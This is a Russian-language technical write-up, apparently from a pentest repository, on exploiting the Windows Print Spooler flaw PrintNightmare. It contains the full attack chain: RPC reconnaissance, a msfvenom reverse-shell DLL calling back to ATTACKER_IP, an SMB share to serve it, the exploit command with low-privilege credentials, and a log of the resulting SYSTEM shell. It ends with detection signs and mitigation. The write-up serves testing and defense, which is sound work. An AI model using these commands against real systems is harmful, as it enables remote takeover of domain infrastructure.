
Технический разбор и анализ PrintNightmare (CVE-2021-1675 / CVE-2021-34527), охватывающий эксплуатацию RCE/LPE, обнаружение через журналы событий Windows и меры по смягчению для Print Spooler.
Репозиторий содержит подробный технический отчет (Write-up) и разбор концепта эксплуатации критической уязвимости в службе диспетчера печати Windows (Print Spooler), позволяющей низкопривилегированному доменному пользователю удаленно выполнить произвольный код с максимальными системными правами.
🛑 WARNING & DISCLAIMER: Данный материал подготовлен исключительно в образовательных целях и для проведения легитимного аудита защищенности (Pentest). Использование описанных техник против систем без предварительного письменного согласия владельцев преследуется по закону.
Уязвимости семейства PrintNightmare представляют критическую угрозу для корпоративных сред на базе Windows Server и Active Directory. Архитектурный недостаток проверки прав в RPC-интерфейсах MS-RPRN (Print System Remote Protocol) и MS-PAR (Print System Asynchronous Remote Protocol) позволяет легитимно запрашивать установку драйверов принтера на удаленном сервере.
Главная опасность заключается в том, что по умолчанию служба диспетчера печати (spoolsv.exe) активна на большинстве серверов, включая контроллеры домена (Domain Controllers), и работает в контексте наивысших привилегий NT AUTHORITY\SYSTEM. Компрометация одного низкопривилегированного аккаунта (например, через фишинг) позволяет атакующему мгновенно захватить полный контроль над всей инфраструктурой Active Directory.
impacket (rpcdump, smbserver), msfvenom, Metasploit Framework, Python-эксплоит.Для реализации вектора удаленного выполнения кода (RCE) необходимы валидные доменные учетные данные пользователя с минимальными правами (предоставлены в условиях исследования).
spoolsv.exe) на целевой Windows-машине активна и работает с максимальными привилегиями SYSTEM, что открывает прямую возможность для локального повышения прав (LPE) на хосте через подгрузку недоверенной библиотеки.Перед запуском основного эксплоита необходимо убедиться, что удаленная машина предоставляет уязвимые протоколы печати и открыта для сетевого взаимодействия. Выполняем опрос RPC-интерфейсов целевой системы:
impacket-rpcdump @<TARGET_IP> | egrep 'MS-RPRN|MS-PAR'
Контролируемый вывод терминала:
Protocol: [MS-RPRN], Endpoint: [\pipe\spoolss]
Protocol: [MS-PAR], Endpoint: [\pipe\spoolss]
[MS-RPRN] и [MS-PAR]. Это на 100% подтверждает, что система поддерживает необходимые интерфейсы удаленной печати и уязвима к вектору PrintNightmare.Создаем полезную нагрузку под архитектуру x64, указав IP-адрес нашей атакующей машины для обратного сетевого соединения:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 -f dll -o /tmp/malicious.dll
msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST <ATTACKER_IP>; set LPORT 4444; run -j"
Целевой сервер Windows должен иметь легитимную возможность скачать нашу DLL-библиотеку по сети без использования сторонних утилит. Поднимаем SMB-сервер с поддержкой протокола SMBv2 из папки /tmp:
sudo impacket-smbserver tmp /tmp -smb2support
Выполняем Python-скрипт эксплоита, передав ему низкопривилегированные доменные учетные данные пользователя и UNC-путь к вредоносной библиотеке на нашей локальной SMB-шаре:
python3 CVE-2021-1675.py <LOW_PRIV_USER>:<PASSWORD>@<TARGET_IP> '\\<ATTACKER_IP>\tmp\malicious.dll'
Лог успешного перехвата сессии (Metasploit):
[*] Started reverse TCP handler on <ATTACKER_IP>:4444
[*] Sending stage (200574 bytes) to <TARGET_IP>
[*] Meterpreter session 1 opened (<ATTACKER_IP>:4444 -> <TARGET_IP>:49321)
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > shell
Process 3412 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.1935]
(c) Корпорация Майкрософт (Microsoft Corporation). Все права защищены.
C:\Windows\system32> whoami
nt authority\system
NT AUTHORITY\SYSTEM. Цель полностью скомпрометирована.Для специалистов Blue Team обнаружение эксплуатации PrintNightmare строится на аудите системных журналов Windows и отслеживании аномальной активности процессов.
Успешный запуск эксплоита оставляет характерные записи в журналах печати и системных логах:
C:\Windows\System32\spool\drivers\x64\3\).Print Spooler), вызванная нестабильной работой эксплоита.cmd.exe, powershell.exe) или утилит сбора данных, родителем которых выступает системный процесс диспетчера печати spoolsv.exe. В легитимных условиях spoolsv.exe никогда не порождает командные оболочки.spoolsv.exe к внешним SMB-ресурсам (порт 445) для скачивания файлов драйверов.Disabled.